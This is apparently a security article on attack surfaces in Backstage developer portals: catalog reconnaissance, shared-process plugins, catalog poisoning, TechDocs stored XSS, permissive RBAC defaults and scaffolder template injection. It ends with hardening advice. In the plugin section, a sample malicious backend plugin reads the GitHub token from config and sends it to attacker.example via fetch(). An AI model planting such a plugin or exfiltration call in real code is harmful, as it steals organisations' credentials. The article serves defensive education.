The Catalog as an Intelligence Asset

Backstage's software catalog is designed to be the single source of truth for everything in your engineering organisation. Well-maintained catalogs contain: every service and its technology stack, owning team, and SLOs; every API and its consumers; every infrastructure resource and its cloud account; every team member and their responsibilities; and all the relationships between these entities.

From an attacker's perspective, this catalog is exceptionally valuable reconnaissance data. Knowing which service owns the payment processing API, which team is responsible for the authentication service, which database hosts which data, and what version each service is running would previously require extensive internal reconnaissance. A Backstage instance with insufficient access control hands all of this to anyone who can reach the portal's URL.

Reconnaissance-as-a-service: Many Backstage deployments are accessible on internal networks without authentication, relying on network position as the access control. A single compromised internal host β€” a developer laptop, a CI runner, a poorly-configured service β€” becomes a pivot to read the complete engineering catalog.

The Plugin Security Model (and its Limits)

Backstage runs as a Node.js application. Plugins β€” both frontend React components and backend Node.js modules β€” run in the same process space as the core Backstage application. Frontend plugins have access to the same authentication tokens that Backstage uses to call its own API. Backend plugins share the same database connection, the same secrets configuration, and the same service account credentials.

There is no plugin sandbox, no capability restriction system, and no isolation boundary between plugins. An npm package installed as a Backstage plugin has the same access level as the Backstage application code itself. This makes plugin supply chain security critically important β€” and the Backstage plugin ecosystem includes hundreds of community-maintained packages that rarely receive the security scrutiny of core Backstage code.

// A malicious Backstage backend plugin can access all configured secrets: import { createBackendPlugin } from '@backstage/backend-plugin-api'; export const maliciousPlugin = createBackendPlugin({ pluginId: 'innocent-analytics', register(env) { env.registerInit({ deps: { config: coreServices.rootConfig, logger: coreServices.logger }, async init({ config, logger }) { // Access GitHub token from config β€” same as the core Backstage app has const token = config.getString('integrations.github[0].token'); // Exfiltrate to attacker-controlled endpoint await fetch(`https://attacker.example/collect?t=${token}`); } }); } });

Catalog Poisoning via Repository Manipulation

Backstage's catalog is typically populated by scanning repositories for catalog-info.yaml files. The catalog ingestion process reads these YAML files and creates catalog entities. If an attacker can commit a malicious catalog-info.yaml to any repository that Backstage scans, they can inject arbitrary catalog entries β€” creating fake services, modifying existing service metadata, or injecting links and annotations that social-engineer other users.

More critically, Backstage's TechDocs feature renders documentation from repository files. Markdown rendered in TechDocs that contains malicious JavaScript can execute in the context of the Backstage frontend β€” a stored XSS attack that persists in the documentation for every user who views it. TechDocs XSS vulnerabilities have been reported multiple times in the Backstage security advisory history.

Catalog-info.yaml is user-controlled content: Every developer who can push to a repository that Backstage scans can influence what catalog entries are created. Treat catalog data as untrusted input β€” validate entity structure, sanitise annotation values, and apply CSP headers to the Backstage frontend.

RBAC Gaps and Default Permissions

Backstage introduced a proper RBAC system (backed by Casbin) relatively recently. Before that, all users had access to all catalog data and all plugin functionality, with no differentiation by role or ownership. Many existing Backstage deployments either predate the RBAC system or have not migrated to it, relying instead on authentication (if any) to enforce access.

Even with RBAC enabled, the default permission policies are permissive. The default guest policy in many configurations grants full read access to all catalog entities. Teams that enable RBAC without reviewing and tightening the default policies may believe they have access control when in practice every authenticated user can read every catalog entity, trigger every scaffolder template, and invoke every plugin action.

Scaffolder Template Injection

Backstage's scaffolder processes templates using Nunjucks, a Node.js templating engine. Template inputs are interpolated into template files. If template inputs are not properly sanitised, an attacker who controls input values can inject Nunjucks template syntax to execute arbitrary JavaScript in the scaffolder's Node.js context β€” a server-side template injection (SSTI) vulnerability with full access to the scaffolder's execution environment, including all configured credentials and service accounts.

Input validation in scaffolders: Validate all scaffolder template inputs against expected patterns before use. For string inputs that are interpolated into file contents or command arguments, apply strict allowlisting. Never trust user-provided values in scaffolder contexts without sanitisation.

Hardening Backstage

  1. Enable authentication and RBAC before exposing Backstage: Never run Backstage without authentication. Enable the RBAC policy module and explicitly define what each role can access. Review default policies and make the principle of least privilege explicit.
  2. Audit and pin all plugin versions: Maintain a list of every installed Backstage plugin, its version, and its maintainer. Pin versions in package.json. Run SCA scanning against your Backstage installation. Require security review for new plugin additions.
  3. Apply CSP headers to Backstage: Configure a Content Security Policy that restricts script execution to known-good sources. This limits the impact of XSS vulnerabilities in TechDocs or plugin frontends.
  4. Restrict catalog-info.yaml scanning to approved repositories: Configure Backstage to only scan repositories in approved GitHub organisations or with approved topics. Prevent arbitrary repository registration through the catalog import UI.
  5. Segregate Backstage service account permissions: Use separate GitHub Apps or service accounts for catalog scanning (read-only), scaffolding (write access to specific namespaces), and TechDocs building (read-only). Avoid a single all-access credential.
  6. Monitor catalog change volume: Alert on bulk catalog changes β€” large numbers of new entities created in a short period, or modifications to high-profile services β€” which may indicate catalog poisoning or unauthorised template execution.